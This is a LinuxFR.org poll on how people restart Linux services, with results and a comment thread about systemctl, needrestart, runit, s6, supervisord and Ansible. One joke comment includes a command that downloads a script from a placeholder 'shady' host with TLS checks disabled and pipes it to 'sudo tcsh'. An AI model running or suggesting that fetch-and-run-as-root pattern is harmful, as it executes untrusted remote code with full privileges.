Sondage Pour redémarrer un service, vous êtes plutôt ?

Posté par  . Licence CC By‑SA.
Étiquettes :
8
22
jan.
2018
  • à l'ancienne /etc/init.d/<nom_du_service> restart :
    689
    (24.8 %)
  • systemctl restart <nom_du_service> :
    1032
    (37.1 %)
  • paramètres service et je clique (je suis sous Windows) :
    30
    (1.1 %)
  • service <nom du service> restart :
    703
    (25.3 %)
  • invoke-rc.d <nom du service> restart :
    10
    (0.4 %)
  • je ne redémarre jamais de service :
    54
    (1.9 %)
  • je redémarre le système d'exploitation :
    139
    (5.0 %)
  • c'est quoi un service :
    85
    (3.1 %)
  • autre (n'hésitez pas à partager...) :
    40
    (1.4 %)

Total : 2782 votes

La liste des options proposées est volontairement limitée : tout l’intérêt (ou son absence) de ce type de sondage réside dans le fait de forcer les participants à faire un choix. Les réponses multiples sont interdites pour les mêmes raisons. Il est donc inutile de se plaindre au sujet du faible nombre de réponses proposées ou de l’impossibilité de choisir plusieurs réponses. 76,78 % des personnes sondées estiment que ces sondages sont ineptes.

  • # Autre

    Posté par  (site web personnel) . Évalué à 10. Dernière modification le 28 janvier 2018 à 10:34.

    • service civique reload
    • curl --insecure https://domainelouche.example.invalid/p0wn/service.csh|sudo tcsh
    • je clique sur le job Jenkins qui lance une tâche Rundeck qui permet à Ansible de lancer Maven qui se connecte en ssh pour que le python local exécute le script qui veille à lancer sudo pour qu'il appelle systemd pour poliment prévenir le service de bien vouloir se redémarrer

    Et surtout je prends un café avant de redémarrer un service, au cas où.

    • [^] # Re: Autre

      Posté par  . Évalué à 7.

      je comprends pas, je pensais que tout le monde faisait comme ça ? menu, redémarrer l'ordinateur

      • [^] # Re: Autre

        Posté par  . Évalué à -3.

        tout le monde n'est pas sous windows ou n'a pas la philosophie microsoft … faut pas croire les statistiques sur les postes utilisateurs qui mette linux/gnu a 1% …

  • # Comme j'ai pas tout compris ...

    Posté par  . Évalué à 5.

    Comme j'ai pas tout compris concernant les systèmes d'init et surtout à propos de la guerre entre machin et truc, j'utiliser service … Il se débrouille à ma place pour savoir ce que ma distribution utilise comme init. Ceci-dit quand un truc merde je tente des systemctl status et je trouve ça efficace donc à l'avenir je risque de tomber dans la catégorie systemctl restart. Paradoxalement, ça prouve aussi qu'au fond de moi je sais que Debian est passé à systemd.

  • # Ce n’est pas mon boulot

    Posté par  . Évalué à 3.

    Je laisse needrestart se charger de tout ça à ma place, ce qui me laisse plus de temps pour glander sur LinuxFR.org faire de la veille technologique.

    • [^] # Re: Ce n’est pas mon boulot

      Posté par  (site web personnel) . Évalué à 4.

      À noter que needrestart (Debian/Ubuntu) renvoie des noms de paquets, et il faut en déduire le nom des services concernés (en particulier si le nom du service n'est pas le nom du paquet), tandis que needs-restarting (RedHat/CentOS) renvoie des noms de service ou des PID, et il faut en déduire le nom des paquets concernés. Les deux semblent être en évolution relativement rapide (lire « changent de comportement d'une version à l'autre de la distribution concernée »).

      Exemple: les options -s et -r de needs-restarting sont apparus entre yum-utils-1.1.31-34.el7.noarch et yum-utils-1.1.31-40.el7.noarch par exemple. Ou le fait que Debian Jessie (oldstable) soit fournie avec needrestart 1.2 tandis que Stretch (stable) est fournie avec la 2.11 (à noter que jessie-backports fournit aussi la 2.11).

      • [^] # Re: Ce n’est pas mon boulot

        Posté par  (site web personnel) . Évalué à 1.

        Pas d'accord pour needrestart. Exemple sur Debian 8 :

        # DEBIAN_FRONTEND=readline needrestart
Scanning processes...                                                                                              
Scanning candidates...                                                                                             
Scanning kernel images...                                                                                          
Failed to retrieve available kernel versions.
Daemons using outdated libraries
--------------------------------


  1. atd.service            5. exim4.service       9. rpcbind.service   13. systemd-journald.service
  2. console-getty.service  6. getty@tty1.service  10. rsyslog.service  14. systemd-logind.service
  3. cron.service           7. lighttpd.service    11. ssh.service      15. systemd-udevd.service
  4. dbus.service           8. nfs-common.service  12. systemd manager  16. user@1002.service

(Enter the items you want to select, separated by spaces.)

Which services should be restarted? 1 2 3 5 7 8 9 10 11 12 14 15 16

        Debian Consultant @ DEBAMAX

        • [^] # Re: Ce n’est pas mon boulot

          Posté par  (site web personnel) . Évalué à 4. Dernière modification le 23 janvier 2018 à 09:45.

          Ubuntu 14.04 LTS / needrestart 0.5-1

          # needrestart -rl -b
NEEDRESTART-VER: 0.3
NEEDRESTART-PKG: openssh-server

          (paquet openssh-server, service ssh, binaire sshd)

          Tandis que 

          # DEBIAN_FRONTEND=readline needrestart
Looking for daemons to restart
(...)
  1. ssh  2. none of the above

(Enter the items you want to select, separated by spaces.)

Which rc.d scripts should be restarted?

          Les versions chez Ubuntu :

          trusty (14.04LTS) : 0.5-1
          xenial (16.04LTS) : 2.6-1
          zesty : 2.11-2
          artful : 2.11-4
          bionic : 2.11-4

  • # Service

    Posté par  . Évalué à 5. Dernière modification le 22 janvier 2018 à 13:25.

    C'est "service <nom du service> restart" et non pas "service restart <nom du service>".

    C'est celui-ci que j'utilise perso, entre autre car il est plus rapide à taper ("servi" + completion contre "systemc" + completion). De plus cet ordre de commande permet à l'auto-completion de ne proposer que les actions pertinentes pour le service en question.

  • # history

    Posté par  (site web personnel) . Évalué à 3.

    • ctrl+R restart ↵ par contre on n'a pas le choix du service

    Adhérer à l'April, ça vous tente ?

    • [^] # Re: history

      Posté par  . Évalué à 2.

      en refaisant plusieurs fois ctrl+r si tu en avais d'autres dans ton historique ;)

    • [^] # Re: history

      Posté par  . Évalué à 1.

      Ça fait quoi, CTRL+R?

      • [^] # Re: history

        Posté par  . Évalué à 3.

        Ça fait quoi, CTRL+R?

        rechercher dans l’historique des commandes déjà exécutées

        https://www.commandeslinux.fr/rechercher-dans-lhistorique-bash-avec-ctrlr/

        • [^] # Re: history

          Posté par  . Évalué à 2.

          Ah ok. C'est pour ça que ça marchait pas, j'utilise zsh :)

          • [^] # Re: history

            Posté par  . Évalué à 2.

            Ça fonctionne sur zsh nativement :)

            • [^] # Re: history

              Posté par  . Évalué à 2.

              Surprenant, ça ne semble pas le faire ici?

              Peut-être est-ce un problème avec ma config? J'ai bidouillé des choses de façon a ce qu'un maximum de choses soient relativement conforme aux xdg dirs, que j'apprécie vraiment. J'ai p'tet cassé un truc sur la route?

    • [^] # Re: history

      Posté par  (site web personnel) . Évalué à 4.

      Plus rapide et plus dangereux :

      !serv

  • # Desktop ou Serveur ?

    Posté par  . Évalué à -10. Dernière modification le 22 janvier 2018 à 18:20.

    Il n'est pas precisé si l'on parle de desktop ou de serveur. Quoiqu'il en soit, si vous etes en mode desktop et que vous en etes encore a redemarrer un service, changez rapidement de ditribution voir d'init.

    attention chérie ça va moinsser

    • [^] # Re: Desktop ou Serveur ?

      Posté par  . Évalué à 0.

      La configuration de ta distro Desktop est à ton goût dans son état initial? Fascinant!

    • [^] # Re: Desktop ou Serveur ?

      Posté par  (Mastodon) . Évalué à 8.

      Bof.

      Tu peux avoir un desktop qui a aussi des serveurs (openssh, cups, whatever…).

    • [^] # Re: Desktop ou Serveur ?

      Posté par  . Évalué à 1. Dernière modification le 02 février 2018 à 12:29.

      Je serais bien emmerdé sous Arch si je ne pouvais pas choisir mes services au démarrage… Ni les redémarrer.

      Tu es au courant que tout le monde n'utilise pas des distributions user-friendly ?

      La majeure partie des morts l'était déjà de son vivant et le jour venu, ils n'ont pas senti la différence.

  • # ... mais je me soigne

    Posté par  (Mastodon) . Évalué à 5.

    J'ai voté "à l'ancienne" parce que c'est mon premier reflexe. Mais je me soigne, je passe au systemctl :)

    En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.

  • # autre: sv restart <service>

    Posté par  . Évalué à 2.

    Parmi la liste des inits que j'ai découvert pendant l'init-war, il y avait runit, et je dois bien le dire: je ne vois pas quoi lui reprocher.

    Du coup, je suis plutôt sv restart foobar, même si je pense qu'il ne serait pas compliqué de faire une commande proxy qui s'appellerait service et qui gérerait service foobar restart (ou l'inverse).
    À noter tout de même, je me demande si c'est une bonne chose, ces commandes avec des sous-commandes qui se basent sur un ordre fixe d'arguments différents pour faire leurs tâches.
    Perso, je préférerai, dans l'absolu, une syntaxe de type service --restart=foobar -rwhatever --restart=foobar,whatever plus simple à comprendre quand on mets le nez dans les scripts qui l'utilisent (sachant que le -rwhatever serait juste un alias court à --restart=whatever). M'enfin, je crois pas qu'un seul init implémente un truc de ce genre?

    • [^] # Re: autre: sv restart <service>

      Posté par  . Évalué à -5. Dernière modification le 22 janvier 2018 à 22:13.

      Parmi la liste des inits que j'ai découvert pendant l'init-war, il y avait runit, et je dois bien le dire: je ne vois pas quoi lui reprocher.

      De fil en aiguille, je fais de nouvelles decouvertes dans le monde du logiciel libre et bien loin d'avoir les competences pour comprendre tout les mécanismes concernant l'init, il me prend l'envie d'en apprendre un peu plus. J'ai donc découvert il y a un petit moment S6:Why another supervision suite ?

      Ca semble etre vraiment pas mal du tout, le top en init j'ai cru comprendre.

      attention chérie ça va moinsser

      • [^] # Re: autre: sv restart <service>

        Posté par  . Évalué à 2.

        Oui et non.

        Il prétend remplir tous les points qui me séduisent chez runit, et que runit remplis la plupart, à un gros détail près:

        Supervision suites should provide a basis for high-level service management.

        Ici, je bloque.
        De l'aveu de l'auteur du document, c'est le seul avantage par rapport à runit, qui est le successeur des daemontools (au sens unix du terme, pas windowsien, ou c'est juste un outil pour simuler un CD).
        Mais justement, ce que moi j'apprécie, et qui est le tort de systemd à mon sens, c'est justement le fait qu'un système d'initialisation ne devrait pas contenir de code complexe, il doit être léger et prédictible.
        Donc, pas «haut niveau» au sens administration système du terme.

        Il reproche à runit d'être basé sur un système de polling? C'est un détail d'implémentation, de ce que j'ai vu du code, si ça pose problème, patcher ça pour un autre système ne serait pas trop long: reste à en voir l'intérêt? Parce que, pour moi, «polling» évoque l'appel système «poll», qui justement permets de faire de l'asynchrone bloquant sans multi-thread et en standard POSIX. Donc, ou est le problème?
        Les scripts doivent être écrits pour chaque service? C'est justement un point que j'apprécie. Le problème potentiel que je vois ici, c'est que ces scripts vont partager du code, code dupliqué, le mal absolu. C'est vrai. Sauf que rien n'empêche d'écrire des binaires, qui utiliseraient la même lib partagée: le code serait pas dupliqué, il serait partagé, il serait compilé (donc plus rapide), il serait de plus haut niveau.
        Pourquoi ne pas le faire? Parce que ça ne semble pas valoir le coup. J'ai lu les scripts d'init de la seule distrib que je connaisse qui s'en serve par défaut: remplacer un script de 10 lignes maximum pour pouvoir partager le code me paraît overkill.
        La solution fournie par s6, c'est de faire dépendre directement, par l'ABI, du système d'init. C'est justement un truc que je regrette pour systemd.

        Ceci dit, on va pas troller, c'est pas encore le jour, ton document est plutôt intéressant, même s'il semble un peu déprécié (j'aurai aimé quelques comparaisons avec systemd, justement, l'acteur majeur du moment) malgré que le manque de date empêche d'en être sûr.

  • # Autre

    Posté par  . Évalué à 1.

    Moi c’est la startup-sequence qui fait le job -)

  • # supervisord

    Posté par  . Évalué à 4.

    Mes services persos sont gérés avec supervisord par contre.
    Est-ce que j'ai un intérêt à les gérer avec systemd ?

    • [^] # Re: supervisord

      Posté par  (site web personnel) . Évalué à 2.

      Avoir un seul système d'init plutôt que devoir en maitriser deux. Pour proposer des avantages plus précis, il faudrait savoir ce que tu fais ; par exemple est-ce que tu as des hacks qui ne seraient plus nécessaires avec systemd, voire des choses que tu ne fais pas mais aimerais faire, qui seraient alors possible.

      • [^] # Re: supervisord

        Posté par  . Évalué à 1.

        Sauf que, supervisor, c'est pas un init, mais un outil dédié à la supervision des processus.

        Systemd, c'est un init, mais pas que, et c'est bien le fait qu'il en fasse trop qui fait que des gens ne l'apprécient pas.
        En plus, tu sembles partir du principe que systemd est mieux et permets plus de choses simplement, tu n'as même pas l'air d'envisager que l'inverse soit possible également?

        En tout cas, de ce que je peux lire, il semble implémenter la killer feature de systemd, celle qui me séduisait au début: la configuration avec des fichiers de conf, et non des scripts. Je pense que je vais creuser un peu.

        • [^] # Re: supervisord

          Posté par  (site web personnel) . Évalué à 2.

          Systemd, c'est un init, mais pas que, et c'est bien le fait qu'il en fasse trop qui fait que des gens ne l'apprécient pas.

          Oui les quelques fans de Devuan, de là à dire les gens…

          En plus, tu sembles partir du principe que systemd est mieux et permets plus de choses simplement, tu n'as même pas l'air d'envisager que l'inverse soit possible également?

          N'importe quoi, le monsieur demande pourquoi il remplacerait ce qu'il a par systemd, le seul moyen de le convaincre c'est de lui montrer ce que ça apporterait (si c'est pour faire pareil autant garder ce qui marche si ça marche bien), sauf que sans savoir ce dont il a besoin c'est un peu dur de trouver des avantages…

          • [^] # Re: supervisord

            Posté par  . Évalué à 2.

            Le monsieur ne fait rien de spécial, il lance des applis web pour chaque users unix, rien de plus.
            Je pose la question car systemd étant de fait installé sur mon système, à fonctionnalités au moins égales ça m'éviterait une dépendance et je bénéficierait de nouvelles fonctionnalités dont je ne soupçonne même pas l'existence…

          • [^] # Re: supervisord

            Posté par  . Évalué à 2.

            Oui les quelques fans de Devuan, de là à dire les gens

            J'ai dit des et pas les gens. Accessoirement, il n'y a pas que devuan qui n'utilise pas systemd (voidlinux et gentoo utilisent également, par défaut, un autre init, et je doute fortement que ce soient les seules distro).

  • # J'utilise redhat satellite

    Posté par  . Évalué à 3.

    All Hosts --> Selection host --> Run Job --> Services --> restart

  • # Avec Ansible bien sûr

    Posté par  (site web personnel) . Évalué à 2.

    Pour Apache, ça donne ça :

    ansible -m service -a "state=restarted name=httpd" localhost

    SystemD ou SYS V ? Peu importe, Ansible se débrouille tout seul en fonction du contexte.

Suivre le flux des commentaires

Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.